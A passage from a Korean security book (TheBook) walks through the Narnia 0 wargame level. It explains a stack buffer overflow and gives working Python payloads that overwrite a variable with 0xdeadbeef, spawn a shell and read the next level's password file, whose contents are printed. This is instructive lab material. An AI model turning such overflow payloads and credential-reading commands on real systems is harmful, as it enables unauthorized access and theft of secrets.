더북(TheBook)

이 코드를 보면, val 변수에 AAAA의 hex 값을 할당하고 20바이트의 버퍼를 입력으로 받는다. scanf() 부분에는 최대 24바이트까지 들어올 것으로 예상된다. 이 코드는 매우 간단한 형태의 버퍼 오버플로의 예다. 그럼, 이 코드를 실행하자. 명령 프롬프트에서 A 20개와 B 4개(A와 B의 hex 값은 각각 41과 42다)를 입력하면 다음 결과를 출력할 것이다.

narnia0@melinda:/narnia$ ./narnia0

Correct val's value from 0x41414141 -> 0xdeadbeef!

Here is your chance: AAAAAAAAAAAAAAAAAAAABBBB

buf: AAAAAAAAAAAAAAAAAAAABBBB

val: 0x42424242

WAY OFF!!!!

이제 val 변수의 hex 값은 0x42424242(42는 ASCII 문자 B다)이므로, 메모리에서 val 변수 값(이전 값은 0x41414141)을 덮어쓸 수 있다. 이제 0xdeadbeef 값으로 메모리에 있는 이 값을 덮어쓰기만 하면 된다. 여기서 스택에 기록하는 모든 것은 리틀 엔디언Little Endian 형식(http://en.wikipedia.org/wiki/Endianness)으로 기록한다는 점을 기억하자. 따라서 val 값을 덮어쓸 0xdeadbeef의 마지막 바이트가 스택에서는 첫 번째 바이트가 되어야 한다. 이렇게 하는 이유는 대상 머신 스택의 FILOFirst-In, Last-Out, 다른 말로 LIFOLast-In, First-Out 아키텍처 때문이다. 따라서 0xdeadbeef 값을 입력하려면 ‘\xef\xbe\xad\xde’ 형태로 작성한다. A의 hex 값만 입력해 실행하는 가장 쉬운 방법은 파이썬을 이용하는 것이다.

narnia0@melinda:/narnia$ python -c 'print "A" * 20 + "\xef\xbe\xad\xde"' | ./narnia0

Correct val's value from 0x41414141 -> 0xdeadbeef!

Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAㄹㅅ ?

val: 0xdeadbeef

정말 축하한다! val 변수에 deadbeef를 써 넣었다. 어떻게 해서 셸 명령을 실행할 수 있었을까? C 코드를 보면, 이 변수 값이 deadbeef와 같으면 /bin/sh를 호출하게 되어 있다. 이번에는 파이썬 코드를 사용해 /etc/narnia_pass/narnia1에 있는 키 값을 읽어 보자.

narnia0@melinda:/narnia$ (python -c 'print "A" * 20 + "\xef\xbe\xad\xde"'; echo 'cat /etc/narnia_pass/narnia1') | /narnia/narnia0

Correct val's value from 0x41414141 -> 0xdeadbeef!

Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAㄹㅅ ?

val: 0xdeadbeef

[1단계 정답]

narnia0@melinda:/narnia$ (python -c 'print "A" * 20 + "\xef\xbe\xad\xde"'; echo 'cat /etc/narnia_pass/narnia1') | /narnia/narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAㄹㅅ ?
val: 0xdeadbeef
efeidiedae

▲ 그림 1-6 Narnia 0 - 익스플로이트

 

여기까지 성공했다면 1단계를 완료하고 narnia1 계정의 패스워드를 획득한 것이다. 이제 로그아웃한 후 새로운 계정으로 로그인한다.

신간 소식 구독하기
뉴스레터에 가입하시고 이메일로 신간 소식을 받아 보세요.